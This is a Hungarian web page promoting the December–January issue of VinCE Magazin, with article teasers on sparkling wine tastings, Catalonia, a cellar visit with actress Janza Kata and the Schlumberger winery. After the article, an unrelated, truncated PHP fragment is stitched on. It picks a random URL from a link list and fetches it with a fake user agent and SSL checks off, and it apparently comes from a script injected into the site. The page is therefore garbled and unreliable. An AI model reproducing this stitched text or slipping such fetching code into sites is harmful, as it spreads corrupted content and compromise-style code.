Ok az ünneplésre: itt a VinCE decemberi-januári száma!

60 nemzetközi és hazai pezsgő, 7 VinCE-díj, 6 téli túratipp, 3 vidékre költözött chef, 2 pincelátogatás és sok-sok további érdekesség 120 oldalon: megérkezett a decemberi-januári dupla lapszámunk! 1. Szikrák a palackban Ugyanaz az időzóna, és kultúráink közt sincs komoly eltérés, ám a Barcelona központú Katalóniában az a szokás, hogy január 6-án ünneplik a karácsonyt –... Tovább..


60 nemzetközi és hazai pezsgő, 7 VinCE-díj, 6 téli túratipp, 3 vidékre költözött chef, 2 pincelátogatás és sok-sok további érdekesség 120 oldalon: megérkezett a decemberi-januári dupla lapszámunk!

1. Szikrák a palackban

Ugyanaz az időzóna, és kultúráink közt sincs komoly eltérés, ám a Barcelona központú Katalóniában az a szokás, hogy január 6-án ünneplik a karácsonyt – így érdemes egy kis kiruccanással meghosszabbítani a téli ünnepkört, különösen mert ez a cava, a spanyol pezsgő hazája is.

2. Csillagokat ittunk

Ha elérkezik a december, akkor rendületlenül pezsgőt tesztelünk – ez immár hagyománnyá vált nálunk, hiszen kötelességünknek érezzük az iránymutatást a pezsgőszezon előtt. Soha nem éreztük még ennyire valóságosnak Pérignon abbé szavait: azok a bizonyos csillagok egytől egyig ott cikáztak és sziporkáztak a poharakban. Összesen hét VinCE-díjat osztottunk ki.

3. Slágergyanús…

Az Operett Színház ismert és kedvelt énekes-színésznőjével, Janza Katával a soltvadkerti Frittmann pincészetbe látogattunk egy csodás, napsütéses novemberi napon. Ez, meg a jó borok aztán meg is hozták a hangulatot egy kis játékhoz, mely arról szólt, hogy Katának milyen dal jut eszébe az éppen kóstolt borról. Mondanunk sem kell, hogy remek hangulatban telt a nap.

4. Világutazó a császárvárosban

Bécs felé tartunk a kora reggeli forgalomban az autópályán – nem kezdődik így gyakran a VinCE Magazin pincelátogatása, de a világ egyik legjelentősebb bortermelő fővárosáról szólva a borértők talán kevésbé lepődnek meg. Ha eláruljuk, hogy az összetéveszthetetlen tündéres pezsgőspalackjairól ismert Schlumberger pincészetbe tartunk, sokunknak azonnal felderül az arca.

5. Ünnepi készülődés a VinCE Magazinnal

Idei utolsó számunkat különlegessé szeretnénk tenni, ezért összeállt egy rendhagyó csapat, amelynek tagjait a hedonizmus köti össze, és örömmel osztják meg legkedvesebb téli ünnepi ételeik receptjét a VinCE Magazin olvasóival.

A VinCE Magazin legújabb száma már elérhető az újságárusoknál.


html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>